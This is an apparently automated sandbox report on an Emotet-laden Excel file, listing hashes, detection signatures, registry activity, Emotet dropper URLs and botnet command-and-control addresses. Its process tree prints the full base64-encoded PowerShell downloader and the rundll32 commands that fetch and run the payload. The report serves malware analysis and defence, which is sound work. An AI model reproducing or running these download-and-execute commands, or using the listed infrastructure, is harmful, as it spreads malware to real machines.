emotet | b93d670ac7c5da96d19ee52328995e587d8ca26dde99aca8fb30cc294295c8e0

Analysis

max time kernel
147s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
02/02/2022, 21:37

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General

Target
83892242035258373415303.xls
Size 150KB
Sample220202-1ggaaabfbr
SHA256 b93d670ac7c5da96d19ee52328995e587d8ca26dde99aca8fb30cc294295c8e0
MD5 50b0756365146da06e3d70e9a6399c05
SHA1 2085fde586c5973259e270d7c714352e778dd9c4
SHA512 10e80c46f824e54c0f4f2114ec231bcaf9b67c0ea4e288cde2a06b279f3ee328c7ec75a8c538bb21b506892a12a922bcc9d4a97880d879e63671c3a0f90be981
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://actividades.laforetlanguages.com/wp-admin/BlkdOKDXL/
exe.dropper
http://sbcopylive.com.br/rjuz/w/
exe.dropper
https://trasix.com/wp-admin/y5Aa1jt0Sp2Qk/
exe.dropper
https://www.parkinsons.co.in/abc/Y6Y0fTbUEg6/
exe.dropper
https://biz.merlin.ua/wp-admin/W6agtFSRZGt371dV/
exe.dropper
http://bruckevn.site/3yztzzvh/nmY4wZfbYL/
exe.dropper
https://pardiskood.com/wp-content/NR/
exe.dropper
https://daujimaharajmandir.org/wp-includes/63De/
exe.dropper
https://datasits.com/wp-includes/Zkj4QO/
exe.dropper
https://anugerahmasinternasional.co.id/wp-admin/SJbxE5I/
exe.dropper
https://atmedic.cl/sistemas/3ZbsUAU/
exe.dropper
https://anwaralbasateen.com/Fox-C404/mDHkfgebMRzmGKBy/

Extracted

Family

emotet

Botnet

Epoch4

23.246.204.126:443
149.56.163.161:8080
212.237.5.209:443
159.89.230.105:443
178.63.25.185:443
104.251.214.46:8080
195.154.133.20:443
217.182.143.207:443
103.75.201.4:443
162.243.175.63:443
173.212.193.249:8080
138.185.72.26:8080
107.182.225.142:8080
45.118.115.99:8080
46.55.222.11:443
212.237.56.116:7080
178.79.147.66:8080
160.16.102.168:80
212.237.17.99:8080
51.38.71.0:443
207.38.84.195:8080
212.24.98.99:8080
110.232.117.186:8080
159.8.59.82:8080
131.100.24.231:80
58.227.42.236:80
164.68.99.3:8080
103.75.201.2:443
41.76.108.46:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.142.114.231:8080
192.254.71.210:443
185.157.82.211:8080
45.118.135.203:7080
129.232.188.93:443
45.176.232.124:443
79.172.212.216:8080
158.69.222.101:443
144.76.186.49:8080
200.17.134.35:7080
176.104.106.96:8080
81.0.236.90:443
216.158.226.206:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3688	3312	wscript.exe	56

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
48	1004	powershell.exe
53	3976	rundll32.exe
55	3976	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 4 IoCs

pid	Process
3232	rundll32.exe
3660	rundll32.exe
2776	rundll32.exe
3976	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Dfsmhnhiwmhc\dbmsqio.eko	rundll32.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132884879137136280"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4056"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3312	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1004	powershell.exe
1004	powershell.exe
3976	rundll32.exe
3976	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1004	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE
3312	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 3688	3312	EXCEL.EXE	63
PID 3312 wrote to memory of 3688	3312	EXCEL.EXE	63
PID 3688 wrote to memory of 4080	3688	wscript.exe	64
PID 3688 wrote to memory of 4080	3688	wscript.exe	64
PID 4080 wrote to memory of 1004	4080	cmd.exe	66
PID 4080 wrote to memory of 1004	4080	cmd.exe	66
PID 3688 wrote to memory of 1000	3688	wscript.exe	69
PID 3688 wrote to memory of 1000	3688	wscript.exe	69
PID 1000 wrote to memory of 3232	1000	cmd.exe	71
PID 1000 wrote to memory of 3232	1000	cmd.exe	71
PID 1000 wrote to memory of 3232	1000	cmd.exe	71
PID 3232 wrote to memory of 3660	3232	rundll32.exe	73
PID 3232 wrote to memory of 3660	3232	rundll32.exe	73
PID 3232 wrote to memory of 3660	3232	rundll32.exe	73
PID 3660 wrote to memory of 2776	3660	rundll32.exe	74
PID 3660 wrote to memory of 2776	3660	rundll32.exe	74
PID 3660 wrote to memory of 2776	3660	rundll32.exe	74
PID 2776 wrote to memory of 3976	2776	rundll32.exe	75
PID 2776 wrote to memory of 3976	2776	rundll32.exe	75
PID 2776 wrote to memory of 3976	2776	rundll32.exe	75

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\83892242035258373415303.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\wetidjks.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAegAuAG0AZQByAGwAaQBuAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwA2AGEAZwB0AEYAUwBSAFoARwB0ADMANwAxAGQAVgAvACwAaAB0AHQAcAA6AC8ALwBiAHIAdQBjAGsAZQB2AG4ALgBzAGkAdABlAC8AMwB5AHoAdAB6AHoAdgBoAC8AbgBtAFkANAB3AFoAZgBiAFkATAAvACwAaAB0AHQAcABzADoALwAvAHAAYQByAGQAaQBzAGsAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBOAFIALwAsAGgAdAB0AHAAcwA6AC8ALwBkAGEAdQBqAGkAbQBhAGgAYQByAGEAagBtAGEAbgBkAGkAcgAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgAzAEQAZQAvACwAaAB0AHQAcABzADoALwAvAGQAYQB0AGEAcwBpAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWgBrAGoANABRAE8ALwAsAGgAdAB0AHAAcwA6AC8ALwBhAG4AdQBnAGUAcgBhAGgAbQBhAHMAaQBuAHQAZQByAG4AYQBzAGkAbwBuAGEAbAAuAGMAbwAuAGkAZAAvAHcAcAAtAGEAZABtAGkAbgAvAFMASgBiAHgARQA1AEkALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHQAbQBlAGQAaQBjAC4AYwBsAC8AcwBpAHMAdABlAG0AYQBzAC8AMwBaAGIAcwBVAEEAVQAvACwAaAB0AHQAcABzADoALwAvAGEAbgB3AGEAcgBhAGwAYgBhAHMAYQB0AGUAZQBuAC4AYwBvAG0ALwBGAG8AeAAtAEMANAAwADQALwBtAEQASABrAGYAZwBlAGIATQBSAHoAbQBHAEsAQgB5AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABoAGsAbAB3AFIASABKAFMAZQA0AGgAIABpAG4AIAAkAGcAagBzAGUAYgBuAGcAdQBrAGkAdwB1AGcAMwBrAHcAagBkACkAewAkAEoAcwAzAGgAbABzAGsAZABjAGYAawA9ACIAdgBiAGsAdwBrACIAOwAkAHMAZABlAHcASABTAHcAMwBnAGsAagBzAGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJABKAHMAMwBoAGwAcwBrAGQAYwBmAGsAKwAiAC4AZABsAGwAIgA7AGkATgB2AE8AawBlAC0AdwBFAGIAcgBlAFEAdQBlAHMAVAAgAC0AdQBSAGkAIAAkAGgAawBsAHcAUgBIAEoAUwBlADQAaAAgAC0AbwB1AFQAZgBpAEwAZQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1004
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:3232
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\vbkwk.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3660
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dfsmhnhiwmhc\dbmsqio.eko",TAskXcdDNcciO
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2776
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dfsmhnhiwmhc\dbmsqio.eko",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3976

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b1bf61df9da60cf61b51d57804d99dac k9/lO9bmEU6++gDgXzpYzQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1004-189-0x0000015CDE1B0000-0x0000015CDE1B2000-memory.dmp

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memory/1004-186-0x0000015CDE3E0000-0x0000015CDE402000-memory.dmp

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memory/1004-190-0x0000015CDE1B3000-0x0000015CDE1B5000-memory.dmp

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memory/1004-191-0x0000015CDE1B6000-0x0000015CDE1B8000-memory.dmp

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memory/2776-200-0x0000000004250000-0x0000000004275000-memory.dmp

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memory/3232-196-0x00000000035B0000-0x00000000035D5000-memory.dmp

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memory/3312-141-0x00007FFA8E610000-0x00007FFA8E620000-memory.dmp

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memory/3312-134-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-133-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-140-0x00007FFA8E610000-0x00007FFA8E620000-memory.dmp

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memory/3312-137-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-249-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-136-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-154-0x000001AD8DBE0000-0x000001AD8DBE4000-memory.dmp

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memory/3312-135-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-248-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-246-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3312-247-0x00007FFA90DB0000-0x00007FFA90DC0000-memory.dmp

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memory/3660-198-0x0000000000650000-0x0000000000675000-memory.dmp

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memory/3976-202-0x0000000002F80000-0x0000000002FA5000-memory.dmp

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